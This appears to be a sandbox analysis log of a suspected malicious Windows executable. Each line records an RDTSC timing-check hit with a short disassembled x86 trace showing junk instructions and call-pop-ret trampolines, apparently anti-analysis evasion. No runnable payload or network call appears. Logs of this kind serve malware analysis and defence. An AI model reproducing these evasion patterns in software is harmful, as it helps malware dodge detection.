Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7E4C second address: AE7E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F332D370A46h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F332D370A4Eh 0x00000013 push ecx 0x00000014 jno 00007F332D370A46h 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7219 second address: AE7239 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F332CB40D0Fh 0x0000000b pushad 0x0000000c jp 00007F332CB40D0Eh 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7239 second address: AE7240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7698 second address: AE76A5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE798F second address: AE79C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F332D370A4Dh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jmp 00007F332D370A52h 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F332D370A46h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE79C1 second address: AE79C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE79C7 second address: AE79E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F332D370A46h 0x0000000e jmp 00007F332D370A50h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7CF1 second address: AE7CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7CF7 second address: AE7CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7CFD second address: AE7D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEB166 second address: AEB173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F332D370A46h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEB173 second address: AEB17F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEB2A9 second address: AEB2BD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007F332D370A46h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ecx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEB2BD second address: AEB2E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F332CB40D06h 0x0000000a popad 0x0000000b pop ecx 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007F332CB40D12h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEB8DE second address: AEB8E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEC271 second address: AEC2A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007F332CB40D0Eh 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEC32C second address: AEC332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEC332 second address: AEC341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEC341 second address: AEC346 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AECA2E second address: AECA35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE3E5 second address: AEE43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F332D370A48h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov di, ax 0x00000025 push 00000000h 0x00000027 sbb si, 0B26h 0x0000002c push 00000000h 0x0000002e mov edi, dword ptr [ebp+122D393Dh] 0x00000034 xchg eax, ebx 0x00000035 jmp 00007F332D370A4Fh 0x0000003a push eax 0x0000003b jnl 00007F332D370A54h 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE43A second address: AEE440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5434 second address: AB543D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF043B second address: AF0461 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F332CB40D19h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0461 second address: AF051E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F332D370A48h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 call 00007F332D370A58h 0x0000002b jl 00007F332D370A4Bh 0x00000031 sub si, 7189h 0x00000036 pop esi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c call 00007F332D370A48h 0x00000041 pop eax 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc eax 0x0000004f push eax 0x00000050 ret 0x00000051 pop eax 0x00000052 ret 0x00000053 call 00007F332D370A50h 0x00000058 jno 00007F332D370A4Ch 0x0000005e pop esi 0x0000005f xchg eax, ebx 0x00000060 pushad 0x00000061 jmp 00007F332D370A4Ah 0x00000066 jmp 00007F332D370A4Bh 0x0000006b popad 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f push ebx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF051E second address: AF0523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF102F second address: AF1040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F332D370A4Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1040 second address: AF10B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F332CB40D08h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov di, bx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F332CB40D08h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000018h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 push 00000000h 0x00000049 mov edi, dword ptr [ebp+122D3B81h] 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push ecx 0x00000053 jp 00007F332CB40D06h 0x00000059 pop ecx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0E3D second address: AF0E55 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b jmp 00007F332D370A4Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1B23 second address: AF1B3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF72C0 second address: AF72C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF81D3 second address: AF824E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F332CB40D15h 0x00000009 popad 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F332CB40D08h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a sub edi, 409B1A28h 0x00000030 jg 00007F332CB40D0Ch 0x00000036 or edi, dword ptr [ebp+122D3801h] 0x0000003c push 00000000h 0x0000003e call 00007F332CB40D0Ch 0x00000043 or bx, 6077h 0x00000048 pop ebx 0x00000049 push eax 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F332CB40D0Eh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF824E second address: AF8260 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F332D370A4Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8260 second address: AF8264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA042 second address: AFA083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push edi 0x00000009 jo 00007F332D370A46h 0x0000000f pop edi 0x00000010 pop ebx 0x00000011 nop 0x00000012 call 00007F332D370A4Ch 0x00000017 clc 0x00000018 pop edi 0x00000019 push 00000000h 0x0000001b clc 0x0000001c push 00000000h 0x0000001e add di, 8DF5h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F332D370A54h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2402 second address: AF2406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAE49 second address: AFAEE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a xor edi, 314E5476h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F332D370A48h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c jmp 00007F332D370A58h 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007F332D370A48h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 0000001Bh 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d jnp 00007F332D370A47h 0x00000053 clc 0x00000054 call 00007F332D370A53h 0x00000059 and edi, dword ptr [ebp+1245D70Eh] 0x0000005f pop ebx 0x00000060 xchg eax, esi 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF936C second address: AF93E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F332CB40D08h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 jo 00007F332CB40D0Ch 0x00000029 mov dword ptr [ebp+1245E634h], ecx 0x0000002f push dword ptr fs:[00000000h] 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F332CB40D08h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 stc 0x00000051 cmc 0x00000052 mov dword ptr fs:[00000000h], esp 0x00000059 mov edi, 23368028h 0x0000005e mov eax, dword ptr [ebp+122D14F9h] 0x00000064 push FFFFFFFFh 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAEE1 second address: AFAF08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F332D370A53h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f jl 00007F332D370A46h 0x00000015 pop edi 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF93E3 second address: AF93E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF93E8 second address: AF93ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA181 second address: AFA196 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnc 00007F332CB40D06h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA196 second address: AFA19A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA19A second address: AFA1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE172 second address: AFE17C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F332D370A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA1A0 second address: AFA1A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFBF64 second address: AFBF6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE2EE second address: AFE315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F332CB40D16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFBF6A second address: AFBF6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00159 second address: B00163 instructions: 0x00000000 rdtsc 0x00000002 js 00007F332CB40D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00163 second address: B0016A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE3E1 second address: AFE3E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE3E5 second address: AFE3EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE3EB second address: AFE3F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE3F1 second address: AFE3F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B010EF second address: B010F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B021B0 second address: B021B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0224B second address: B02251 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B032D1 second address: B032E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F332D370A4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B032E1 second address: B03341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b je 00007F332CB40D06h 0x00000011 pop edi 0x00000012 pop edx 0x00000013 nop 0x00000014 jno 00007F332CB40D0Ah 0x0000001a push 00000000h 0x0000001c mov bl, 20h 0x0000001e mov di, 3489h 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007F332CB40D08h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 00000017h 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e jnp 00007F332CB40D0Ch 0x00000044 mov dword ptr [ebp+1247A290h], ebx 0x0000004a movsx ebx, cx 0x0000004d push eax 0x0000004e pushad 0x0000004f jnp 00007F332CB40D0Ch 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05228 second address: B0522C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0522C second address: B05279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F332CB40D0Dh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c call 00007F332CB40D14h 0x00000011 jmp 00007F332CB40D0Eh 0x00000016 pop ebx 0x00000017 push 00000000h 0x00000019 clc 0x0000001a add ebx, dword ptr [ebp+122D3A01h] 0x00000020 push 00000000h 0x00000022 add dword ptr [ebp+12461D4Eh], edx 0x00000028 xchg eax, esi 0x00000029 push edx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07154 second address: B071E9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jne 00007F332D370A46h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jns 00007F332D370A50h 0x00000013 nop 0x00000014 mov dword ptr [ebp+122D2276h], esi 0x0000001a jp 00007F332D370A4Ch 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F332D370A48h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 00000018h 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c mov edi, ecx 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ebp 0x00000043 call 00007F332D370A48h 0x00000048 pop ebp 0x00000049 mov dword ptr [esp+04h], ebp 0x0000004d add dword ptr [esp+04h], 0000001Ch 0x00000055 inc ebp 0x00000056 push ebp 0x00000057 ret 0x00000058 pop ebp 0x00000059 ret 0x0000005a cld 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F332D370A57h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B002B4 second address: B002B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01417 second address: B01421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F332D370A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0AC57 second address: B0AC5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E111 second address: B0E115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E115 second address: B0E12A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F332CB40D0Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE971 second address: AAE983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F332D370A46h 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F332D370A46h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0DA06 second address: B0DA10 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F332CB40D16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B11F85 second address: B11FB2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F332D370A52h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jp 00007F332D370A54h 0x00000018 push eax 0x00000019 push edx 0x0000001a jne 00007F332D370A46h 0x00000020 rdtsc
